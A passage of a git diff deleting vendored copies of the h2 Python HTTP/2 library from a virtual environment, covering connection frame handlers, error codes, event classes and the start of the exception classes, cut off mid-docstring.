raise ProtocolError(msg) from e - - # We need to prevent peers pushing streams in response to streams that - # they themselves have already pushed: see #163 and RFC 7540 § 6.6. The - # easiest way to do that is to assert that the stream_id is not even: - # this shortcut works because only servers can push and the state - # machine will enforce this. - if (frame.stream_id % 2) == 0: - msg = "Cannot recursively push streams." - raise ProtocolError(msg) - - try: - frames, stream_events = stream.receive_push_promise_in_band( - frame.promised_stream_id, - pushed_headers, - self.config.header_encoding, - ) - except StreamClosedError: - # The parent stream was reset by us, so we presume that - # PUSH_PROMISE was in flight when we reset the parent stream. - # So we just reset the new stream. - f = RstStreamFrame(frame.promised_stream_id) - f.error_code = ErrorCodes.REFUSED_STREAM - return [f], events - - new_stream = self._begin_new_stream( - frame.promised_stream_id, AllowedStreamIDs.EVEN, - ) - self.streams[frame.promised_stream_id] = new_stream - new_stream.remotely_pushed(pushed_headers) - - return frames, events + stream_events - - def _handle_data_on_closed_stream(self, - events: list[Event], - exc: StreamClosedError, - frame: DataFrame) -> tuple[list[Frame], list[Event]]: - # This stream is already closed - and yet we received a DATA frame. - # The received DATA frame counts towards the connection flow window. - # We need to manually to acknowledge the DATA frame to update the flow - # window of the connection. Otherwise the whole connection stalls due - # the inbound flow window being 0. - frames: list[Frame] = [] - conn_manager = self._inbound_flow_control_window_manager - conn_increment = conn_manager.process_bytes( - frame.flow_controlled_length, - ) - - if conn_increment: - window_update_frame = WindowUpdateFrame(0) - window_update_frame.window_increment = conn_increment - frames.append(window_update_frame) - self.config.logger.debug( - "Received DATA frame on closed stream %d - " - "auto-emitted a WINDOW_UPDATE by %d", - frame.stream_id, conn_increment, - ) - - rst_stream_frame = RstStreamFrame(exc.stream_id) - rst_stream_frame.error_code = exc.error_code - frames.append(rst_stream_frame) - self.config.logger.debug( - "Stream %s already CLOSED or cleaned up - auto-emitted a RST_FRAME", - frame.stream_id, - ) - return frames, events + exc._events - - def _receive_data_frame(self, frame: DataFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a data frame on the connection. - """ - flow_controlled_length = frame.flow_controlled_length - - events = self.state_machine.process_input( - ConnectionInputs.RECV_DATA, - ) - self._inbound_flow_control_window_manager.window_consumed( - flow_controlled_length, - ) - - try: - stream = self._get_stream_by_id(frame.stream_id) - frames, stream_events = stream.receive_data( - frame.data, - "END_STREAM" in frame.flags, - flow_controlled_length, - ) - except StreamClosedError as e: - # This stream is either marked as CLOSED or already gone from our - # internal state. - return self._handle_data_on_closed_stream(events, e, frame) - - return frames, events + stream_events - - def _receive_settings_frame(self, frame: SettingsFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a SETTINGS frame on the connection. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_SETTINGS, - ) - - # This is an ack of the local settings. - if "ACK" in frame.flags: - changed_settings = self._local_settings_acked() - ack_event = SettingsAcknowledged() - ack_event.changed_settings = changed_settings - events.append(ack_event) - return [], events - - # Add the new settings. - for setting, value in frame.settings.items(): - self.remote_settings.validate_received_setting(setting, value) - self.remote_settings.update(frame.settings) - events.append( - RemoteSettingsChanged.from_settings( - self.remote_settings, frame.settings, - ), - ) - frames = self._acknowledge_settings() - - return frames, events - - def _receive_window_update_frame(self, frame: WindowUpdateFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a WINDOW_UPDATE frame on the connection. - """ - # hyperframe will take care of validating the window_increment. - # If we reach in here, we can assume a valid value. - - events = self.state_machine.process_input( - ConnectionInputs.RECV_WINDOW_UPDATE, - ) - - if frame.stream_id: - try: - stream = self._get_stream_by_id(frame.stream_id) - frames, stream_events = stream.receive_window_update( - frame.window_increment, - ) - except StreamClosedError: - return [], events - else: - # Increment our local flow control window. - self.outbound_flow_control_window = guard_increment_window( - self.outbound_flow_control_window, - frame.window_increment, - ) - - # FIXME: Should we split this into one event per active stream? - window_updated_event = WindowUpdated(stream_id=0, delta=frame.window_increment) - stream_events = [window_updated_event] - frames = [] - - return frames, events + stream_events - - def _receive_ping_frame(self, frame: PingFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a PING frame on the connection. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_PING, - ) - frames: list[Frame] = [] - - evt: PingReceived | PingAckReceived - if "ACK" in frame.flags: - evt = PingAckReceived(ping_data=frame.opaque_data) - else: - evt = PingReceived(ping_data=frame.opaque_data) - - # automatically ACK the PING with the same 'opaque data' - f = PingFrame(0) - f.flags.add("ACK") - f.opaque_data = frame.opaque_data - frames.append(f) - - events.append(evt) - - return frames, events - - def _receive_rst_stream_frame(self, frame: RstStreamFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a RST_STREAM frame on the connection. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_RST_STREAM, - ) - try: - stream = self._get_stream_by_id(frame.stream_id) - except NoSuchStreamError: - # The stream is missing. That's ok, we just do nothing here. - stream_frames: list[Frame] = [] - stream_events: list[Event] = [] - else: - stream_frames, stream_events = stream.stream_reset(frame) - - return stream_frames, events + stream_events - - def _receive_priority_frame(self, frame: HeadersFrame | PriorityFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a PRIORITY frame on the connection. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_PRIORITY, - ) - - event = PriorityUpdated() - event.stream_id = frame.stream_id - event.depends_on = frame.depends_on - event.exclusive = frame.exclusive - - # Weight is an integer between 1 and 256, but the byte only allows - # 0 to 255: add one. - event.weight = frame.stream_weight + 1 - - # A stream may not depend on itself. - if event.depends_on == frame.stream_id: - msg = f"Stream {frame.stream_id} may not depend on itself" - raise ProtocolError(msg) - events.append(event) - - return [], events - - def _receive_goaway_frame(self, frame: GoAwayFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a GOAWAY frame on the connection. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_GOAWAY, - ) - - # Clear the outbound data buffer: we cannot send further data now. - self.clear_outbound_data_buffer() - - # Fire an appropriate ConnectionTerminated event. - new_event = ConnectionTerminated() - new_event.error_code = _error_code_from_int(frame.error_code) - new_event.last_stream_id = frame.last_stream_id - new_event.additional_data = frame.additional_data or None - events.append(new_event) - - return [], events - - def _receive_naked_continuation(self, frame: ContinuationFrame) -> None: - """ - A naked CONTINUATION frame has been received. This is always an error, - but the type of error it is depends on the state of the stream and must - transition the state of the stream, so we need to pass it to the - appropriate stream. - """ - stream = self._get_stream_by_id(frame.stream_id) - stream.receive_continuation() - msg = "Should not be reachable" # pragma: no cover - raise AssertionError(msg) # pragma: no cover - - def _receive_alt_svc_frame(self, frame: AltSvcFrame) -> tuple[list[Frame], list[Event]]: - """ - An ALTSVC frame has been received. This frame, specified in RFC 7838, - is used to advertise alternative places where the same service can be - reached. - - This frame can optionally be received either on a stream or on stream - 0, and its semantics are different in each case. - """ - events = self.state_machine.process_input( - ConnectionInputs.RECV_ALTERNATIVE_SERVICE, - ) - frames = [] - - if frame.stream_id: - # Given that it makes no sense to receive ALTSVC on a stream - # before that stream has been opened with a HEADERS frame, the - # ALTSVC frame cannot create a stream. If the stream is not - # present, we simply ignore the frame. - try: - stream = self._get_stream_by_id(frame.stream_id) - except (NoSuchStreamError, StreamClosedError): - pass - else: - stream_frames, stream_events = stream.receive_alt_svc(frame) - frames.extend(stream_frames) - events.extend(stream_events) - else: - # This frame is sent on stream 0. The origin field on the frame - # must be present, though if it isn't it's not a ProtocolError - # (annoyingly), we just need to ignore it. - if not frame.origin: - return frames, events - - # If we're a server, we want to ignore this (RFC 7838 says so). - if not self.config.client_side: - return frames, events - - event = AlternativeServiceAvailable() - event.origin = frame.origin - event.field_value = frame.field - events.append(event) - - return frames, events - - def _receive_unknown_frame(self, frame: ExtensionFrame) -> tuple[list[Frame], list[Event]]: - """ - We have received a frame that we do not understand. This is almost - certainly an extension frame, though it's impossible to be entirely - sure. - - RFC 7540 § 5.5 says that we MUST ignore unknown frame types: so we - do. We do notify the user that we received one, however. - """ - # All we do here is log. - self.config.logger.debug( - "Received unknown extension frame (ID %d)", frame.stream_id, - ) - event = UnknownFrameReceived(frame=frame) - return [], [event] - - def _local_settings_acked(self) -> dict[SettingCodes | int, ChangedSetting]: - """ - Handle the local settings being ACKed, update internal state. - """ - changes = self.local_settings.acknowledge() - - if SettingCodes.INITIAL_WINDOW_SIZE in changes: - setting = changes[SettingCodes.INITIAL_WINDOW_SIZE] - self._inbound_flow_control_change_from_settings( - setting.original_value, - setting.new_value, - ) - - if SettingCodes.MAX_HEADER_LIST_SIZE in changes: - setting = changes[SettingCodes.MAX_HEADER_LIST_SIZE] - self.decoder.max_header_list_size = setting.new_value - - if SettingCodes.MAX_FRAME_SIZE in changes: - setting = changes[SettingCodes.MAX_FRAME_SIZE] - self.max_inbound_frame_size = setting.new_value - - if SettingCodes.HEADER_TABLE_SIZE in changes: - setting = changes[SettingCodes.HEADER_TABLE_SIZE] - # This is safe across all hpack versions: some versions just won't - # respect it. - self.decoder.max_allowed_table_size = setting.new_value - - return changes - - def _stream_id_is_outbound(self, stream_id: int) -> bool: - """ - Returns ``True`` if the stream ID corresponds to an outbound stream - (one initiated by this peer), returns ``False`` otherwise. - """ - return (stream_id % 2 == int(self.config.client_side)) - - def _stream_closed_by(self, stream_id: int) -> StreamClosedBy | None: - """ - Returns how the stream was closed. - - The return value will be either a member of - ``h2.stream.StreamClosedBy`` or ``None``. If ``None``, the stream was - closed implicitly by the peer opening a stream with a higher stream ID - before opening this one. - """ - if stream_id in self.streams: - return self.streams[stream_id].closed_by - if stream_id in self._closed_streams: - return self._closed_streams[stream_id] - return None - - def _stream_is_closed_by_reset(self, stream_id: int) -> bool: - """ - Returns ``True`` if the stream was closed by sending or receiving a - RST_STREAM frame. Returns ``False`` otherwise. - """ - return self._stream_closed_by(stream_id) in ( - StreamClosedBy.RECV_RST_STREAM, StreamClosedBy.SEND_RST_STREAM, - ) - - def _stream_is_closed_by_end(self, stream_id: int) -> bool: - """ - Returns ``True`` if the stream was closed by sending or receiving an - END_STREAM flag in a HEADERS or DATA frame. Returns ``False`` - otherwise. - """ - return self._stream_closed_by(stream_id) in ( - StreamClosedBy.RECV_END_STREAM, StreamClosedBy.SEND_END_STREAM, - ) - - -def _add_frame_priority(frame: PriorityFrame | HeadersFrame, - weight: int | None = None, - depends_on: int | None = None, - exclusive: bool | None = None) -> PriorityFrame | HeadersFrame: - """ - Adds priority data to a given frame. Does not change any flags set on that - frame: if the caller is adding priority information to a HEADERS frame they - must set that themselves. - - This method also deliberately sets defaults for anything missing. - - This method validates the input values. - """ - # A stream may not depend on itself. - if depends_on == frame.stream_id: - msg = f"Stream {frame.stream_id} may not depend on itself" - raise ProtocolError(msg) - - # Weight must be between 1 and 256. - if weight is not None: - if weight > 256 or weight < 1: - msg = f"Weight must be between 1 and 256, not {weight}" - raise ProtocolError(msg) - # Weight is an integer between 1 and 256, but the byte only allows - # 0 to 255: subtract one. - weight -= 1 - - # Set defaults for anything not provided. - weight = weight if weight is not None else 15 - depends_on = depends_on if depends_on is not None else 0 - exclusive = exclusive if exclusive is not None else False - - frame.stream_weight = weight - frame.depends_on = depends_on - frame.exclusive = exclusive - - return frame - - -def _decode_headers(decoder: Decoder, encoded_header_block: bytes) -> Iterable[Header]: - """ - Decode a HPACK-encoded header block, translating HPACK exceptions into - sensible h2 errors. - - This only ever returns bytestring headers: h2 may emit them as - unicode later, but internally it processes them as bytestrings only. - """ - try: - return decoder.decode(encoded_header_block, raw=True) - except OversizedHeaderListError as e: - # This is a symptom of a HPACK bomb attack: the user has - # disregarded our requirements on how large a header block we'll - # accept. - msg = f"Oversized header block: {e}" - raise DenialOfServiceError(msg) from e - except (HPACKError, IndexError, TypeError, UnicodeDecodeError) as e: - # We should only need HPACKError here, but versions of HPACK older - # than 2.1.0 throw all three others as well. For maximum - # compatibility, catch all of them. - msg = f"Error decoding header block: {e}" - raise ProtocolError(msg) from e diff --git a/venv/Lib/site-packages/h2/errors.py b/venv/Lib/site-packages/h2/errors.py deleted file mode 100644 index 24ebe00fae0733639654d091f719ec85bcc95cdc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/errors.py +++ /dev/null @@ -1,77 +0,0 @@ -""" -h2/errors -~~~~~~~~~ - -Global error code registry containing the established HTTP/2 error codes. - -The current registry is available at: -https://tools.ietf.org/html/rfc7540#section-11.4 -""" -from __future__ import annotations - -import enum - - -class ErrorCodes(enum.IntEnum): - """ - All known HTTP/2 error codes. - - .. versionadded:: 2.5.0 - """ - - #: Graceful shutdown. - NO_ERROR = 0x0 - - #: Protocol error detected. - PROTOCOL_ERROR = 0x1 - - #: Implementation fault. - INTERNAL_ERROR = 0x2 - - #: Flow-control limits exceeded. - FLOW_CONTROL_ERROR = 0x3 - - #: Settings not acknowledged. - SETTINGS_TIMEOUT = 0x4 - - #: Frame received for closed stream. - STREAM_CLOSED = 0x5 - - #: Frame size incorrect. - FRAME_SIZE_ERROR = 0x6 - - #: Stream not processed. - REFUSED_STREAM = 0x7 - - #: Stream cancelled. - CANCEL = 0x8 - - #: Compression state not updated. - COMPRESSION_ERROR = 0x9 - - #: TCP connection error for CONNECT method. - CONNECT_ERROR = 0xa - - #: Processing capacity exceeded. - ENHANCE_YOUR_CALM = 0xb - - #: Negotiated TLS parameters not acceptable. - INADEQUATE_SECURITY = 0xc - - #: Use HTTP/1.1 for the request. - HTTP_1_1_REQUIRED = 0xd - - -def _error_code_from_int(code: int) -> ErrorCodes | int: - """ - Given an integer error code, returns either one of :class:`ErrorCodes - ` or, if not present in the known set of codes, - returns the integer directly. - """ - try: - return ErrorCodes(code) - except ValueError: - return code - - -__all__ = ["ErrorCodes"] diff --git a/venv/Lib/site-packages/h2/events.py b/venv/Lib/site-packages/h2/events.py deleted file mode 100644 index e3accea764a1ee1e1deea635b2f641ab7cb009ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/events.py +++ /dev/null @@ -1,675 +0,0 @@ -""" -h2/events -~~~~~~~~~ - -Defines Event types for HTTP/2. - -Events are returned by the H2 state machine to allow implementations to keep -track of events triggered by receiving data. Each time data is provided to the -H2 state machine it processes the data and returns a list of Event objects. -""" -from __future__ import annotations - -import binascii -from dataclasses import dataclass -from typing import TYPE_CHECKING, Any - -from .settings import ChangedSetting, SettingCodes, Settings, _setting_code_from_int - -if TYPE_CHECKING: # pragma: no cover - from hpack.struct import Header - from hyperframe.frame import Frame - - from .errors import ErrorCodes - - -kw_only = {"kw_only": True} - - -_LAZY_INIT: Any = object() -""" -Some h2 events are instantiated by the state machine, but its attributes are -subsequently populated by H2Stream. To make this work with strict type annotations -on the events, they are temporarily set to this placeholder value. -This value should never be exposed to users. -""" - - -class Event: - """ - Base class for h2 events. - """ - - -@dataclass(**kw_only) -class RequestReceived(Event): - """ - The RequestReceived event is fired whenever all of a request's headers - are received. This event carries the HTTP headers for the given request - and the stream ID of the new stream. - - In HTTP/2, headers may be sent as a HEADERS frame followed by zero or more - CONTINUATION frames with the final frame setting the END_HEADERS flag. - This event is fired after the entire sequence is received. - - .. versionchanged:: 2.3.0 - Changed the type of ``headers`` to :class:`HeaderTuple - `. This has no effect on current users. - - .. versionchanged:: 2.4.0 - Added ``stream_ended`` and ``priority_updated`` properties. - """ - - stream_id: int - """The Stream ID for the stream this request was made on.""" - - headers: list[Header] = _LAZY_INIT - """The request headers.""" - - stream_ended: StreamEnded | None = None - """ - If this request also ended the stream, the associated - :class:`StreamEnded ` event will be available - here. - - .. versionadded:: 2.4.0 - """ - - priority_updated: PriorityUpdated | None = None - """ - If this request also had associated priority information, the - associated :class:`PriorityUpdated ` - event will be available here. - - .. versionadded:: 2.4.0 - """ - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class ResponseReceived(Event): - """ - The ResponseReceived event is fired whenever response headers are received. - This event carries the HTTP headers for the given response and the stream - ID of the new stream. - - .. versionchanged:: 2.3.0 - Changed the type of ``headers`` to :class:`HeaderTuple - `. This has no effect on current users. - - .. versionchanged:: 2.4.0 - Added ``stream_ended`` and ``priority_updated`` properties. - """ - - stream_id: int - """The Stream ID for the stream this response was made on.""" - - headers: list[Header] = _LAZY_INIT - """The response headers.""" - - stream_ended: StreamEnded | None = None - """ - If this response also ended the stream, the associated - :class:`StreamEnded ` event will be available - here. - - .. versionadded:: 2.4.0 - """ - - priority_updated: PriorityUpdated | None = None - """ - If this response also had associated priority information, the - associated :class:`PriorityUpdated ` - event will be available here. - - .. versionadded:: 2.4.0 - """ - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class TrailersReceived(Event): - """ - The TrailersReceived event is fired whenever trailers are received on a - stream. Trailers are a set of headers sent after the body of the - request/response, and are used to provide information that wasn't known - ahead of time (e.g. content-length). This event carries the HTTP header - fields that form the trailers and the stream ID of the stream on which they - were received. - - .. versionchanged:: 2.3.0 - Changed the type of ``headers`` to :class:`HeaderTuple - `. This has no effect on current users. - - .. versionchanged:: 2.4.0 - Added ``stream_ended`` and ``priority_updated`` properties. - """ - - stream_id: int - """The Stream ID for the stream on which these trailers were received.""" - - headers: list[Header] = _LAZY_INIT - """The trailers themselves.""" - - stream_ended: StreamEnded | None = None - """ - Trailers always end streams. This property has the associated - :class:`StreamEnded ` in it. - - .. versionadded:: 2.4.0 - """ - - priority_updated: PriorityUpdated | None = None - """ - If the trailers also set associated priority information, the - associated :class:`PriorityUpdated ` - event will be available here. - - .. versionadded:: 2.4.0 - """ - - def __repr__(self) -> str: - return f"" - - -class _HeadersSent(Event): - """ - The _HeadersSent event is fired whenever headers are sent. - - This is an internal event, used to determine validation steps on - outgoing header blocks. - """ - - - -class _ResponseSent(_HeadersSent): - """ - The _ResponseSent event is fired whenever response headers are sent - on a stream. - - This is an internal event, used to determine validation steps on - outgoing header blocks. - """ - - - -class _RequestSent(_HeadersSent): - """ - The _RequestSent event is fired whenever request headers are sent - on a stream. - - This is an internal event, used to determine validation steps on - outgoing header blocks. - """ - - - -class _TrailersSent(_HeadersSent): - """ - The _TrailersSent event is fired whenever trailers are sent on a - stream. Trailers are a set of headers sent after the body of the - request/response, and are used to provide information that wasn't known - ahead of time (e.g. content-length). - - This is an internal event, used to determine validation steps on - outgoing header blocks. - """ - - - -class _PushedRequestSent(_HeadersSent): - """ - The _PushedRequestSent event is fired whenever pushed request headers are - sent. - - This is an internal event, used to determine validation steps on outgoing - header blocks. - """ - - -@dataclass(**kw_only) -class InformationalResponseReceived(Event): - """ - The InformationalResponseReceived event is fired when an informational - response (that is, one whose status code is a 1XX code) is received from - the remote peer. - - The remote peer may send any number of these, from zero upwards. These - responses are most commonly sent in response to requests that have the - ``expect: 100-continue`` header field present. Most users can safely - ignore this event unless you are intending to use the - ``expect: 100-continue`` flow, or are for any reason expecting a different - 1XX status code. - - .. versionadded:: 2.2.0 - - .. versionchanged:: 2.3.0 - Changed the type of ``headers`` to :class:`HeaderTuple - `. This has no effect on current users. - - .. versionchanged:: 2.4.0 - Added ``priority_updated`` property. - """ - - stream_id: int - """The Stream ID for the stream this informational response was made on.""" - - headers: list[Header] = _LAZY_INIT - """The headers for this informational response.""" - - priority_updated: PriorityUpdated | None = None - """ - If this response also had associated priority information, the - associated :class:`PriorityUpdated ` - event will be available here. - - .. versionadded:: 2.4.0 - """ - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class DataReceived(Event): - """ - The DataReceived event is fired whenever data is received on a stream from - the remote peer. The event carries the data itself, and the stream ID on - which the data was received. - - .. versionchanged:: 2.4.0 - Added ``stream_ended`` property. - """ - - stream_id: int - """The Stream ID for the stream this data was received on.""" - - data: bytes = _LAZY_INIT - """The data itself.""" - - flow_controlled_length: int = _LAZY_INIT - """ - The amount of data received that counts against the flow control - window. Note that padding counts against the flow control window, so - when adjusting flow control you should always use this field rather - than ``len(data)``. - """ - - stream_ended: StreamEnded | None = None - """ - If this data chunk also completed the stream, the associated - :class:`StreamEnded ` event will be available - here. - - .. versionadded:: 2.4.0 - """ - - def __repr__(self) -> str: - return ( - "".format( - self.stream_id, - self.flow_controlled_length, - _bytes_representation(self.data[:20]) if self.data else "", - ) - ) - - -@dataclass(**kw_only) -class WindowUpdated(Event): - """ - The WindowUpdated event is fired whenever a flow control window changes - size. HTTP/2 defines flow control windows for connections and streams: this - event fires for both connections and streams. The event carries the ID of - the stream to which it applies (set to zero if the window update applies to - the connection), and the delta in the window size. - """ - - stream_id: int - """ - The Stream ID of the stream whose flow control window was changed. - May be ``0`` if the connection window was changed. - """ - - delta: int = _LAZY_INIT - """ - The window delta. - """ - - def __repr__(self) -> str: - return f"" - - -class RemoteSettingsChanged(Event): - """ - The RemoteSettingsChanged event is fired whenever the remote peer changes - its settings. It contains a complete inventory of changed settings, - including their previous values. - - In HTTP/2, settings changes need to be acknowledged. h2 automatically - acknowledges settings changes for efficiency. However, it is possible that - the caller may not be happy with the changed setting. - - When this event is received, the caller should confirm that the new - settings are acceptable. If they are not acceptable, the user should close - the connection with the error code :data:`PROTOCOL_ERROR - `. - - .. versionchanged:: 2.0.0 - Prior to this version the user needed to acknowledge settings changes. - This is no longer the case: h2 now automatically acknowledges - them. - """ - - def __init__(self) -> None: - #: A dictionary of setting byte to - #: :class:`ChangedSetting `, representing - #: the changed settings. - self.changed_settings: dict[int, ChangedSetting] = {} - - @classmethod - def from_settings(cls, - old_settings: Settings | dict[int, int], - new_settings: dict[int, int]) -> RemoteSettingsChanged: - """ - Build a RemoteSettingsChanged event from a set of changed settings. - - :param old_settings: A complete collection of old settings, in the form - of a dictionary of ``{setting: value}``. - :param new_settings: All the changed settings and their new values, in - the form of a dictionary of ``{setting: value}``. - """ - e = cls() - for setting, new_value in new_settings.items(): - s = _setting_code_from_int(setting) - original_value = old_settings.get(s) - change = ChangedSetting(s, original_value, new_value) - e.changed_settings[s] = change - - return e - - def __repr__(self) -> str: - return "".format( - ", ".join(repr(cs) for cs in self.changed_settings.values()), - ) - - -@dataclass(**kw_only) -class PingReceived(Event): - """ - The PingReceived event is fired whenever a PING is received. It contains - the 'opaque data' of the PING frame. A ping acknowledgment with the same - 'opaque data' is automatically emitted after receiving a ping. - - .. versionadded:: 3.1.0 - """ - - ping_data: bytes - """The data included on the ping.""" - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class PingAckReceived(Event): - """ - The PingAckReceived event is fired whenever a PING acknowledgment is - received. It contains the 'opaque data' of the PING+ACK frame, allowing the - user to correlate PINGs and calculate RTT. - - .. versionadded:: 3.1.0 - - .. versionchanged:: 4.0.0 - Removed deprecated but equivalent ``PingAcknowledged``. - """ - - ping_data: bytes - """The data included on the ping.""" - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class StreamEnded(Event): - """ - The StreamEnded event is fired whenever a stream is ended by a remote - party. The stream may not be fully closed if it has not been closed - locally, but no further data or headers should be expected on that stream. - """ - - stream_id: int - """The Stream ID of the stream that was closed.""" - - def __repr__(self) -> str: - return f"" - - -@dataclass(**kw_only) -class StreamReset(Event): - """ - The StreamReset event is fired in two situations. The first is when the - remote party forcefully resets the stream. The second is when the remote - party has made a protocol error which only affects a single stream. In this - case, h2 will terminate the stream early and return this event. - - .. versionchanged:: 2.0.0 - This event is now fired when h2 automatically resets a stream. - """ - - stream_id: int - """ - The Stream ID of the stream that was reset. - """ - - error_code: ErrorCodes | int = _LAZY_INIT - """ - The error code given. - """ - - remote_reset: bool = True - """ - Whether the remote peer sent a RST_STREAM or we did. - """ - - def __repr__(self) -> str: - return f"" - - -class PushedStreamReceived(Event): - """ - The PushedStreamReceived event is fired whenever a pushed stream has been - received from a remote peer. The event carries on it the new stream ID, the - ID of the parent stream, and the request headers pushed by the remote peer. - """ - - def __init__(self) -> None: - #: The Stream ID of the stream created by the push. - self.pushed_stream_id: int | None = None - - #: The Stream ID of the stream that the push is related to. - self.parent_stream_id: int | None = None - - #: The request headers, sent by the remote party in the push. - self.headers: list[Header] | None = None - - def __repr__(self) -> str: - return ( - f"" - ) - - -class SettingsAcknowledged(Event): - """ - The SettingsAcknowledged event is fired whenever a settings ACK is received - from the remote peer. The event carries on it the settings that were - acknowledged, in the same format as - :class:`h2.events.RemoteSettingsChanged`. - """ - - def __init__(self) -> None: - #: A dictionary of setting byte to - #: :class:`ChangedSetting `, representing - #: the changed settings. - self.changed_settings: dict[SettingCodes | int, ChangedSetting] = {} - - def __repr__(self) -> str: - s = ", ".join(repr(cs) for cs in self.changed_settings.values()) - return f"" - - -class PriorityUpdated(Event): - """ - The PriorityUpdated event is fired whenever a stream sends updated priority - information. This can occur when the stream is opened, or at any time - during the stream lifetime. - - This event is purely advisory, and does not need to be acted on. - - .. versionadded:: 2.0.0 - """ - - def __init__(self) -> None: - #: The ID of the stream whose priority information is being updated. - self.stream_id: int | None = None - - #: The new stream weight. May be the same as the original stream - #: weight. An integer between 1 and 256. - self.weight: int | None = None - - #: The stream ID this stream now depends on. May be ``0``. - self.depends_on: int | None = None - - #: Whether the stream *exclusively* depends on the parent stream. If it - #: does, this stream should inherit the current children of its new - #: parent. - self.exclusive: bool | None = None - - def __repr__(self) -> str: - return ( - f"" - ) - - -class ConnectionTerminated(Event): - """ - The ConnectionTerminated event is fired when a connection is torn down by - the remote peer using a GOAWAY frame. Once received, no further action may - be taken on the connection: a new connection must be established. - """ - - def __init__(self) -> None: - #: The error code cited when tearing down the connection. Should be - #: one of :class:`ErrorCodes `, but may not be if - #: unknown HTTP/2 extensions are being used. - self.error_code: ErrorCodes | int | None = None - - #: The stream ID of the last stream the remote peer saw. This can - #: provide an indication of what data, if any, never reached the remote - #: peer and so can safely be resent. - self.last_stream_id: int | None = None - - #: Additional debug data that can be appended to GOAWAY frame. - self.additional_data: bytes | None = None - - def __repr__(self) -> str: - return ( - "".format( - self.error_code, - self.last_stream_id, - _bytes_representation( - self.additional_data[:20] - if self.additional_data else None), - ) - ) - - -class AlternativeServiceAvailable(Event): - """ - The AlternativeServiceAvailable event is fired when the remote peer - advertises an `RFC 7838 `_ Alternative - Service using an ALTSVC frame. - - This event always carries the origin to which the ALTSVC information - applies. That origin is either supplied by the server directly, or inferred - by h2 from the ``:authority`` pseudo-header field that was sent by - the user when initiating a given stream. - - This event also carries what RFC 7838 calls the "Alternative Service Field - Value", which is formatted like a HTTP header field and contains the - relevant alternative service information. h2 does not parse or in any - way modify that information: the user is required to do that. - - This event can only be fired on the client end of a connection. - - .. versionadded:: 2.3.0 - """ - - def __init__(self) -> None: - #: The origin to which the alternative service field value applies. - #: This field is either supplied by the server directly, or inferred by - #: h2 from the ``:authority`` pseudo-header field that was sent - #: by the user when initiating the stream on which the frame was - #: received. - self.origin: bytes | None = None - - #: The ALTSVC field value. This contains information about the HTTP - #: alternative service being advertised by the server. h2 does - #: not parse this field: it is left exactly as sent by the server. The - #: structure of the data in this field is given by `RFC 7838 Section 3 - #: `_. - self.field_value: bytes | None = None - - def __repr__(self) -> str: - return ( - "".format( - (self.origin or b"").decode("utf-8", "ignore"), - (self.field_value or b"").decode("utf-8", "ignore"), - ) - ) - - -@dataclass(**kw_only) -class UnknownFrameReceived(Event): - """ - The UnknownFrameReceived event is fired when the remote peer sends a frame - that h2 does not understand. This occurs primarily when the remote - peer is employing HTTP/2 extensions that h2 doesn't know anything - about. - - RFC 7540 requires that HTTP/2 implementations ignore these frames. h2 - does so. However, this event is fired to allow implementations to perform - special processing on those frames if needed (e.g. if the implementation - is capable of handling the frame itself). - - .. versionadded:: 2.7.0 - """ - - frame: Frame - - def __repr__(self) -> str: - return "" - - -def _bytes_representation(data: bytes | None) -> str | None: - """ - Converts a bytestring into something that is safe to print on all Python - platforms. - - This function is relatively expensive, so it should not be called on the - mainline of the code. It's safe to use in things like object repr methods - though. - """ - if data is None: - return None - - return binascii.hexlify(data).decode("ascii") diff --git a/venv/Lib/site-packages/h2/exceptions.py b/venv/Lib/site-packages/h2/exceptions.py deleted file mode 100644 index e4776795b999eaa8c493178ef57ce07088e5bbd2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h2/exceptions.py +++ /dev/null @@ -1,194 +0,0 @@ -""" -h2/exceptions -~~~~~~~~~~~~~ - -Exceptions for the HTTP/2 module. -""" -from __future__ import annotations - -from .errors import ErrorCodes - - -class H2Error(Exception): - """ - The base class for all exceptions for the HTTP/2 module. - """ - - -class ProtocolError(H2Error): - """ - An action was attempted in violation of the HTTP/2 protocol. - """ - - #: The error code corresponds to this kind of Protocol Error. - error_code = ErrorCodes.PROTOCOL_ERROR - - -class FrameTooLargeError(ProtocolError): - """ - The frame that we tried to send or that we received was too large. - """ - - #: The error code corresponds to this kind of Protocol Error. - error_code = ErrorCodes.FRAME_SIZE_ERROR - - -class FrameDataMissingError(ProtocolError): - """ - The frame that we received is missing some data. - - .. versionadded:: 2.0.0 - """ - - #: The error code corresponds to this kind of Protocol Error. - error_code = ErrorCodes.FRAME_SIZE_ERROR - - -class TooManyStreamsError(ProtocolError): - """ - An attempt was made to open a stream that would lead to too many concurrent - streams. - """ - - - -class FlowControlError(ProtocolError): - """ - An attempted action violates flow control constraints. - """ - - #: The error code corresponds to this kind of Protocol Error. - error_code = ErrorCodes.FLOW_CONTROL_ERROR - - -class StreamIDTooLowError(ProtocolError): - """ - An attempt was made to open a stream that had an ID that is lower than the - highest ID we have seen on this connection. - """ - - def __init__(self, stream_id: int, max_stream_id: int) -> None: - #: The ID of the stream that we attempted to open. - self.stream_id = stream_id - - #: The current highest-seen stream ID. - self.max_stream_id = max_stream_id - - def __str__(self) -> str: - return f"StreamIDTooLowError: {self.stream_id} is lower than {self.max_stream_id}" - - -class NoAvailableStreamIDError(ProtocolError): - """ - There are no available stream IDs left to the connection. All stream IDs - have been exhausted. - - .. versionadded:: 2.0.0 - """ - - - -class NoSuchStreamError(ProtocolError): - """ - A stream-specific action referenced a 